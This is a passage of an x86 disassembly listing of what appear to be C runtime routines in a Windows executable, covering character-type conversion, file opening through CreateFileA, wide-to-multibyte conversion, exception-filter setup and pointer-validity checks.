		mov	edx, [ebp+arg_18]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_429C65
		xor	eax, eax
		jmp	loc_429D08
; ---------------------------------------------------------------------------


loc_429C65:				; CODE XREF: sub_429B60+FCj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_4181D0
		mov	[ebp+var_2C], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_20]
		shl	edx, 1
		push	edx
		push	0
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_429CBB
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_429CBB:				; CODE XREF: sub_429B60+142j
		cmp	[ebp+var_24], 0
		jnz	short loc_429CC5
		xor	eax, eax
		jmp	short loc_429D08
; ---------------------------------------------------------------------------


loc_429CC5:				; CODE XREF: sub_429B60+15Fj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	1
		mov	edx, [ebp+arg_10]
		push	edx
		call	dword_4E0428	; MultiByteToWideChar
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jnz	short loc_429CEE
		xor	eax, eax
		jmp	short loc_429D08
; ---------------------------------------------------------------------------


loc_429CEE:				; CODE XREF: sub_429B60+188j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E0300	; GetStringTypeW
		jmp	short loc_429D08
; ---------------------------------------------------------------------------


loc_429D06:				; CODE XREF: sub_429B60+BCj
		xor	eax, eax


loc_429D08:				; CODE XREF: sub_429B60+79j
					; sub_429B60+B0j ...
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D20	proc near		; CODE XREF: sub_41FB00+A1p
					; sub_420720+137p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_429D27:				; CODE XREF: sub_429D20+2Fj
		cmp	[ebp+arg_0], 0
		jnz	short loc_429D4B
		push	offset dword_4344AC
		push	0
		push	2Eh
		push	offset dword_43570C
		push	2
		call	sub_41B010
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_429D4B
		int	3		; Trap to Debugger


loc_429D4B:				; CODE XREF: sub_429D20+Bj
					; sub_429D20+28j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_429D27
		mov	ecx, dword_4DDFDC
		add	ecx, 1
		mov	dword_4DDFDC, ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		push	3Bh
		push	offset dword_43570C
		push	2
		push	1000h
		call	sub_4150C0
		add	esp, 10h
		mov	ecx, [ebp+var_4]
		mov	[ecx+8], eax
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+8], 0
		jz	short loc_429DA6
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ecx, 8
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 1000h
		jmp	short loc_429DCB
; ---------------------------------------------------------------------------


loc_429DA6:				; CODE XREF: sub_429D20+69j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		or	edx, 4
		mov	eax, [ebp+var_4]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_4]
		add	ecx, 14h
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+18h], 2


loc_429DCB:				; CODE XREF: sub_429D20+84j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx+4], 0
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429D20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+10h]
		mov	[ebp-8], eax
		mov	ecx, [ebp-8]
		add	ecx, 4
		mov	[ebp-8], ecx
		mov	edx, [ebp-8]
		mov	eax, [edx-4]
		mov	[ebp-4], eax
		mov	dword ptr [ebp-8], 0
		mov	ecx, [ebp-4]
		push	ecx
		push	40h
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_429E30
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E30	proc near		; CODE XREF: sub_4201D0+2B0p
					; .data:00429E23p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_24], 0Ch
		mov	[ebp+var_20], 0
		mov	eax, [ebp+arg_4]
		and	eax, 80h
		test	eax, eax
		jz	short loc_429E5D
		mov	[ebp+var_1C], 0
		mov	[ebp+var_38], 10h
		jmp	short loc_429E68
; ---------------------------------------------------------------------------


loc_429E5D:				; CODE XREF: sub_429E30+1Ej
		mov	[ebp+var_1C], 1
		mov	[ebp+var_38], 0


loc_429E68:				; CODE XREF: sub_429E30+2Bj
		mov	ecx, [ebp+arg_4]
		and	ecx, 8000h
		test	ecx, ecx
		jnz	short loc_429EA1
		mov	edx, [ebp+arg_4]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_429E8C
		mov	al, [ebp+var_38]
		or	al, 80h
		mov	[ebp+var_38], al
		jmp	short loc_429EA1
; ---------------------------------------------------------------------------


loc_429E8C:				; CODE XREF: sub_429E30+50j
		cmp	dword_4DE22C, 8000h
		jz	short loc_429EA1
		mov	cl, [ebp+var_38]
		or	cl, 80h
		mov	[ebp+var_38], cl


loc_429EA1:				; CODE XREF: sub_429E30+43j
					; sub_429E30+5Aj ...
		mov	edx, [ebp+arg_4]
		and	edx, 3
		mov	[ebp+var_40], edx
		cmp	[ebp+var_40], 0
		jz	short loc_429EBE
		cmp	[ebp+var_40], 1
		jz	short loc_429EC7
		cmp	[ebp+var_40], 2
		jz	short loc_429ED0
		jmp	short loc_429ED9
; ---------------------------------------------------------------------------


loc_429EBE:				; CODE XREF: sub_429E30+7Ej
		mov	[ebp+var_34], 80000000h
		jmp	short loc_429EF7
; ---------------------------------------------------------------------------


loc_429EC7:				; CODE XREF: sub_429E30+84j
		mov	[ebp+var_34], 40000000h
		jmp	short loc_429EF7
; ---------------------------------------------------------------------------


loc_429ED0:				; CODE XREF: sub_429E30+8Aj
		mov	[ebp+var_34], 0C0000000h
		jmp	short loc_429EF7
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429E30+8Cj
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_429EF7:				; CODE XREF: sub_429E30+95j
					; sub_429E30+9Ej ...
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		mov	ecx, [ebp+var_44]
		sub	ecx, 10h
		mov	[ebp+var_44], ecx
		cmp	[ebp+var_44], 30h
		ja	short loc_429F42
		mov	eax, [ebp+var_44]
		xor	edx, edx
		mov	dl, byte_42A352[eax]
		jmp	off_42A33E[edx*4]


loc_429F1E:				; DATA XREF: .data:off_42A33Eo
		mov	[ebp+var_8], 0
		jmp	short loc_429F60
; ---------------------------------------------------------------------------


loc_429F27:				; CODE XREF: sub_429E30+E7j
					; DATA XREF: .data:0042A342o
		mov	[ebp+var_8], 1
		jmp	short loc_429F60
; ---------------------------------------------------------------------------


loc_429F30:				; CODE XREF: sub_429E30+E7j
					; DATA XREF: .data:0042A346o
		mov	[ebp+var_8], 2
		jmp	short loc_429F60
; ---------------------------------------------------------------------------


loc_429F39:				; CODE XREF: sub_429E30+E7j
					; DATA XREF: .data:0042A34Ao
		mov	[ebp+var_8], 3
		jmp	short loc_429F60
; ---------------------------------------------------------------------------


loc_429F42:				; CODE XREF: sub_429E30+DAj
					; sub_429E30+E7j
					; DATA XREF: ...
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_429F60:				; CODE XREF: sub_429E30+F5j
					; sub_429E30+FEj ...
		mov	ecx, [ebp+arg_4]
		and	ecx, 700h
		mov	[ebp+var_48], ecx
		cmp	[ebp+var_48], 400h
		jg	short loc_429FAC
		cmp	[ebp+var_48], 400h
		jz	short loc_429FC9
		cmp	[ebp+var_48], 200h
		jg	short loc_429FA1
		cmp	[ebp+var_48], 200h
		jz	short loc_429FE4
		cmp	[ebp+var_48], 0
		jz	short loc_429FC9
		cmp	[ebp+var_48], 100h
		jz	short loc_429FD2
		jmp	short loc_429FF6
; ---------------------------------------------------------------------------


loc_429FA1:				; CODE XREF: sub_429E30+155j
		cmp	[ebp+var_48], 300h
		jz	short loc_429FED
		jmp	short loc_429FF6
; ---------------------------------------------------------------------------


loc_429FAC:				; CODE XREF: sub_429E30+143j
		cmp	[ebp+var_48], 500h
		jz	short loc_429FDB
		cmp	[ebp+var_48], 600h
		jz	short loc_429FE4
		cmp	[ebp+var_48], 700h
		jz	short loc_429FDB
		jmp	short loc_429FF6
; ---------------------------------------------------------------------------


loc_429FC9:				; CODE XREF: sub_429E30+14Cj
					; sub_429E30+164j
		mov	[ebp+var_18], 3
		jmp	short loc_42A014
; ---------------------------------------------------------------------------


loc_429FD2:				; CODE XREF: sub_429E30+16Dj
		mov	[ebp+var_18], 4
		jmp	short loc_42A014
; ---------------------------------------------------------------------------


loc_429FDB:				; CODE XREF: sub_429E30+183j
					; sub_429E30+195j
		mov	[ebp+var_18], 1
		jmp	short loc_42A014
; ---------------------------------------------------------------------------


loc_429FE4:				; CODE XREF: sub_429E30+15Ej
					; sub_429E30+18Cj
		mov	[ebp+var_18], 5
		jmp	short loc_42A014
; ---------------------------------------------------------------------------


loc_429FED:				; CODE XREF: sub_429E30+178j
		mov	[ebp+var_18], 2
		jmp	short loc_42A014
; ---------------------------------------------------------------------------


loc_429FF6:				; CODE XREF: sub_429E30+16Fj
					; sub_429E30+17Aj ...
		call	sub_4224D0
		mov	dword ptr [eax], 16h
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_42A014:				; CODE XREF: sub_429E30+1A0j
					; sub_429E30+1A9j ...
		mov	[ebp+var_28], 80h
		mov	edx, [ebp+arg_4]
		and	edx, 100h
		test	edx, edx
		jz	short loc_42A065
		lea	eax, [ebp+arg_C]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_2C]
		add	ecx, 4
		mov	[ebp+var_2C], ecx
		mov	edx, [ebp+var_2C]
		mov	eax, [edx-4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_2C], 0
		mov	ecx, dword_4DDF80
		not	ecx
		mov	edx, [ebp+var_10]
		and	edx, ecx
		and	edx, 80h
		test	edx, edx
		jnz	short loc_42A065
		mov	[ebp+var_28], 1


loc_42A065:				; CODE XREF: sub_429E30+1F6j
					; sub_429E30+22Cj
		mov	eax, [ebp+arg_4]
		and	eax, 40h
		test	eax, eax
		jz	short loc_42A087
		mov	ecx, [ebp+var_28]
		or	ecx, 4000000h
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_34]
		or	edx, 10000h
		mov	[ebp+var_34], edx


loc_42A087:				; CODE XREF: sub_429E30+23Dj
		mov	eax, [ebp+arg_4]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42A09C
		mov	ecx, [ebp+var_28]
		or	ch, 1
		mov	[ebp+var_28], ecx


loc_42A09C:				; CODE XREF: sub_429E30+261j
		mov	edx, [ebp+arg_4]
		and	edx, 20h
		test	edx, edx
		jz	short loc_42A0B3
		mov	eax, [ebp+var_28]
		or	eax, 8000000h
		mov	[ebp+var_28], eax
		jmp	short loc_42A0C9
; ---------------------------------------------------------------------------


loc_42A0B3:				; CODE XREF: sub_429E30+274j
		mov	ecx, [ebp+arg_4]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_42A0C9
		mov	edx, [ebp+var_28]
		or	edx, 10000000h
		mov	[ebp+var_28], edx


loc_42A0C9:				; CODE XREF: sub_429E30+281j
					; sub_429E30+28Bj
		call	sub_4294B0
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_42A0F5
		call	sub_4224D0
		mov	dword ptr [eax], 18h
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_42A0F5:				; CODE XREF: sub_429E30+2A5j
		push	0
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+var_18]
		push	ecx
		lea	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_34]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	dword_4E03D8	; CreateFileA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_42A141
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		call	sub_422430
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_429A50
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_42A141:				; CODE XREF: sub_429E30+2ECj
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4E0314	; GetFileType
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42A181
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4E032C	; CloseHandle
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		call	sub_422430
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_429A50
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_42A181:				; CODE XREF: sub_429E30+322j
		cmp	[ebp+var_C], 2
		jnz	short loc_42A192
		mov	cl, [ebp+var_38]
		or	cl, 40h
		mov	[ebp+var_38], cl
		jmp	short loc_42A1A1
; ---------------------------------------------------------------------------


loc_42A192:				; CODE XREF: sub_429E30+355j
		cmp	[ebp+var_C], 3
		jnz	short loc_42A1A1
		mov	dl, [ebp+var_38]
		or	dl, 8
		mov	[ebp+var_38], dl


loc_42A1A1:				; CODE XREF: sub_429E30+360j
					; sub_429E30+366j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_4296A0
		add	esp, 8
		mov	dl, [ebp+var_38]
		or	dl, 1
		mov	[ebp+var_38], dl
		mov	eax, [ebp+var_14]
		sar	eax, 5
		mov	ecx, [ebp+var_14]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	al, [ebp+var_38]
		mov	[edx+ecx+4], al
		movsx	ecx, [ebp+var_38]
		and	ecx, 48h
		test	ecx, ecx
		jnz	loc_42A2DF
		movsx	edx, [ebp+var_38]
		and	edx, 80h
		test	edx, edx
		jz	loc_42A2DF
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	loc_42A2DF
		push	2
		push	0FFFFFFFFh
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_426470
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_42A251
		call	sub_4224E0
		cmp	dword ptr [eax], 83h
		jz	short loc_42A24C
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_41B6B0
		add	esp, 4
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_429A50
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_42A24C:				; CODE XREF: sub_429E30+3FAj
		jmp	loc_42A2DF
; ---------------------------------------------------------------------------


loc_42A251:				; CODE XREF: sub_429E30+3EDj
		mov	[ebp+var_30], 0
		push	1
		lea	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_41FD80
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42A2A9
		movsx	eax, [ebp+var_30]
		cmp	eax, 1Ah
		jnz	short loc_42A2A9
		mov	ecx, [ebp+var_3C]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_42E2C0
		add	esp, 8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A2A9
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_41B6B0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_429A50
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_42A33A
; ---------------------------------------------------------------------------


loc_42A2A9:				; CODE XREF: sub_429E30+439j
					; sub_429E30+442j ...
		push	0
		push	0
		mov	edx, [ebp+var_14]
		push	edx
		call	sub_426470
		add	esp, 0Ch
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0FFFFFFFFh
		jnz	short loc_42A2DF
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_41B6B0
		add	esp, 4
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_429A50
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42A33A
; ---------------------------------------------------------------------------


loc_42A2DF:				; CODE XREF: sub_429E30+3B0j
					; sub_429E30+3C2j ...
		movsx	edx, [ebp+var_38]
		and	edx, 48h
		test	edx, edx
		jnz	short loc_42A32B
		mov	eax, [ebp+arg_4]
		and	eax, 8
		test	eax, eax
		jz	short loc_42A32B
		mov	ecx, [ebp+var_14]
		sar	ecx, 5
		mov	edx, [ebp+var_14]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 20h
		mov	edx, [ebp+var_14]
		sar	edx, 5
		mov	eax, [ebp+var_14]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4DE320[edx*4]
		mov	[edx+eax+4], cl


loc_42A32B:				; CODE XREF: sub_429E30+4B8j
					; sub_429E30+4C2j
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp+var_14]


loc_42A33A:				; CODE XREF: sub_429E30+C2j
					; sub_429E30+12Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_429E30	endp

; ---------------------------------------------------------------------------
off_42A33E	dd offset loc_429F1E	; DATA XREF: sub_429E30+E7r
		dd offset loc_429F27
		dd offset loc_429F30
		dd offset loc_429F39
		dd offset loc_429F42
byte_42A352	db 0			; DATA XREF: sub_429E30+E1r
		db 4
		dd 3 dup(4040404h), 4010404h, 3	dup(4040404h), 4020404h
		dd 3 dup(4040404h), 0CC030404h,	3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A390	proc near		; CODE XREF: sub_420720+127p
					; sub_4226D0+40p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jb	short loc_42A3A2
		xor	eax, eax
		jmp	short loc_42A3C0
; ---------------------------------------------------------------------------


loc_42A3A2:				; CODE XREF: sub_42A390+Cj
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	eax, byte ptr [eax+edx+4]
		and	eax, 40h


loc_42A3C0:				; CODE XREF: sub_42A390+10j
		pop	ebp
		retn
sub_42A390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A3D0	proc near		; CODE XREF: sub_4209A0+3CAp
					; sub_4209A0+B90p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset dword_4DE428
		call	dword_4E0454	; InterlockedIncrement
		cmp	dword_4DE424, 0
		jz	short loc_42A408
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement
		push	13h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		jmp	short loc_42A40F
; ---------------------------------------------------------------------------


loc_42A408:				; CODE XREF: sub_42A3D0+18j
		mov	[ebp+var_4], 0


loc_42A40F:				; CODE XREF: sub_42A3D0+36j
		mov	ax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A450
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42A435
		push	13h
		call	sub_41BD20
		add	esp, 4
		jmp	short loc_42A440
; ---------------------------------------------------------------------------


loc_42A435:				; CODE XREF: sub_42A3D0+57j
		push	offset dword_4DE428
		call	dword_4E0450	; InterlockedDecrement


loc_42A440:				; CODE XREF: sub_42A3D0+63j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A450	proc near		; CODE XREF: sub_42A3D0+48p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		cmp	[ebp+arg_0], 0
		jnz	short loc_42A463
		xor	eax, eax
		jmp	loc_42A4EC
; ---------------------------------------------------------------------------


loc_42A463:				; CODE XREF: sub_42A450+Aj
		cmp	dword_4DE074, 0
		jnz	short loc_42A49A
		mov	eax, [ebp+arg_4]
		and	eax, 0FFFFh
		cmp	eax, 0FFh
		jle	short loc_42A48B
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42A4EC
; ---------------------------------------------------------------------------


loc_42A48B:				; CODE XREF: sub_42A450+29j
		mov	ecx, [ebp+arg_0]
		mov	dl, byte ptr [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, 1
		jmp	short loc_42A4EC
; ---------------------------------------------------------------------------


loc_42A49A:				; CODE XREF: sub_42A450+1Aj
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, dword_447480
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	1
		lea	eax, [ebp+arg_4]
		push	eax
		push	220h
		mov	ecx, dword_4DE084
		push	ecx
		call	dword_4E0424	; WideCharToMultiByte
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42A4D9
		cmp	[ebp+var_8], 0
		jz	short loc_42A4E9


loc_42A4D9:				; CODE XREF: sub_42A450+81j
		call	sub_4224D0
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_42A4EC
; ---------------------------------------------------------------------------


loc_42A4E9:				; CODE XREF: sub_42A450+87j
		mov	eax, [ebp+var_4]


loc_42A4EC:				; CODE XREF: sub_42A450+Ej
					; sub_42A450+39j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42A450	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A4F0	proc near		; DATA XREF: sub_42A550+3o
					; .data:00448810o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_42A51E
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42A51E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	short loc_42A51E
		call	sub_423580


loc_42A51E:				; CODE XREF: sub_42A4F0+Ej
					; sub_42A4F0+19j ...
		cmp	dword_4DE1C4, 0
		jz	short loc_42A545
		mov	eax, dword_4DE1C4
		push	eax
		call	sub_42A5F0
		add	esp, 4
		test	eax, eax
		jz	short loc_42A545
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4DE1C4
		jmp	short loc_42A547
; ---------------------------------------------------------------------------


loc_42A545:				; CODE XREF: sub_42A4F0+35j
					; sub_42A4F0+47j
		xor	eax, eax


loc_42A547:				; CODE XREF: sub_42A4F0+53j
		pop	ebp
		retn	4
sub_42A4F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A550	proc near		; DATA XREF: .data:00437028o
		push	ebp
		mov	ebp, esp
		push	offset sub_42A4F0
		call	dword_4E02FC	; SetUnhandledExceptionFilter
		mov	dword_4DE1C4, eax
		pop	ebp
		retn
sub_42A550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A570	proc near		; DATA XREF: .data:00437040o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DE1C4
		push	eax
		call	dword_4E02FC	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_42A570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A590	proc near		; CODE XREF: sub_4229C0+9Ep
					; sub_4231D0+77p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E0444	; IsBadReadPtr
		test	eax, eax
		jz	short loc_42A5B4
		mov	[ebp+var_4], 0


loc_42A5B4:				; CODE XREF: sub_42A590+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A590	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A5C0	proc near		; CODE XREF: sub_4231D0+89p
					; sub_4231D0+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	dword_4E0440	; IsBadWritePtr
		test	eax, eax
		jz	short loc_42A5E4
		mov	[ebp+var_4], 0


loc_42A5E4:				; CODE XREF: sub_42A5C0+1Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A5C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A5F0	proc near		; CODE XREF: sub_4231D0+1E2p
					; sub_42A4F0+3Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4E02F8	; IsBadCodePtr
		test	eax, eax
		jz	short loc_42A610
		mov	[ebp+var_4], 0


loc_42A610:				; CODE XREF: sub_42A5F0+17j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42A5F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A620	proc near		; CODE XREF: sub_4235EEp
		push	ebp
		mov	ebp, esp
		push	0Ah
		call	sub_428880
		add	esp, 4
		push	16h
		call	sub_429130
		add	esp, 4
		push	3
		call	sub_417B10
		pop	ebp
		retn
sub_42A620	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

